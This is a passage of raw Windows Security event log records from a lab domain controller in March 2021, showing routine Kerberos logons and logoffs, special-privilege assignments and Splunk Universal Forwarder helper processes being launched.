- Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 50911 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:31:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257409 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4FB34F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:31:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257412 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8f4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:31:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257413 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x960 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:31:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257414 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf08 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:31:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257415 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc50 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:31:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257416 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x100c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:31:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257418 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12c4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:31:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257417 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1168 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:31:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257420 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4FDDD1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {1315B027-D61C-A152-E46C-74A6DCC39304} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 50917 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:31:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257419 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4FDDD1 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:31:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257421 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4FDDD1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:32:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257424 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4FEA66 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:32:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257423 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4FEA66 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 50925 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:32:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257422 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4FEA66 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:32:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257430 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4FEDCF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:32:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257429 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4FEDCF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 50929 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:32:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257428 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4FEDCF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:32:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257427 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4FED63 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:32:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257426 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4FED63 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 50928 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:32:05 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257425 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4FED63 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:32:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257431 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1054 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:32:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257433 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13a0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:32:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257432 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x858 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:32:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257434 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process 